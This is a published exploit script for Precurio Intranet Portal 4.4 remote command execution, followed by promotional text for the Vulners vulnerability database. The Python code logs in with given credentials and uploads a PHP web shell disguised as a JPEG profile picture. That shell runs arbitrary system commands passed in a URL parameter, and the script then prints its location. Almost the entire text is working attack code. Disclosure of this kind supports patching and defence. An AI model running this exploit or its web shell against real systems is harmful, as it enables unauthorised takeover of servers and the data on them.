# Exploit Title: Precurio Intranet Portal 4.4 - Remote Command Execution
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 05.03.2024
# Vendor Homepage: https://www.precurio.com
# Software Link: http://bit.ly/1hWLtfW
# Tested Version: v4.4 (latest)
# Tested on: MacOS
import requests
import time
import random
import string
import sys
import re
def simulate_login(session, url, username, password):
try:
print("Logging in...")
time.sleep(1)
login_url = f"{url}/public/default/login/submit"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"username": username,
"password": password
}
response = session.post(login_url, headers=headers, data=data)
if "Welcome System" in response.text:
print("Login Successful!")
time.sleep(1)
return True
else:
print("Login Failed!")
return False
except Exception as e:
print(f"An error occurred during login: {e}")
return False
def upload_file(session, url):
try:
print("Shell Preparing...")
time.sleep(1)
upload_url = f"{url}/public/user/profile/update"
random_filename = ''.join(random.choices(string.ascii_letters + string.
digits, k=5)) + ".php"
files = {
"profile_pic": ("shell.php", '<html><body><form method="GET" name="<?php
echo basename($_SERVER[\'PHP_SELF\']); ?>"><input type="TEXT" name="cmd"
autofocus id="cmd" size="80"><input type="SUBMIT"
value="Execute"></form><pre><?php if(isset($_GET[\'cmd\'])){ system($_GET[\'
cmd\']); } ?></pre></body></html>', 'image/jpeg')
}
response = session.post(upload_url, files=files)
print("Upload Response Status:", response.status_code)
if ".php" in response.text:
path = extract_php_path(response.text)
print(f"Your shell is ready: {url}/{path}")
else:
print("Exploit Failed!", response.text[:500])
except Exception as e:
print(f"An error occurred during file upload: {e}")
def extract_php_path(html_content):
match = re.search(r'src="(/[^"]+\.php)"', html_content)
if match:
return match.group(1)
return "Path not found"
if __name__ == "__main__":
try:
if len(sys.argv) != 4:
print("Usage: python script.py <url> <username> <password>")
sys.exit(1)
session = requests.Session()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
if simulate_login(session, url, username, password):
upload_file(session, url)
else:
print("Cannot proceed without a valid login.")
except Exception as e:
print(f"An error occurred: {e}")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation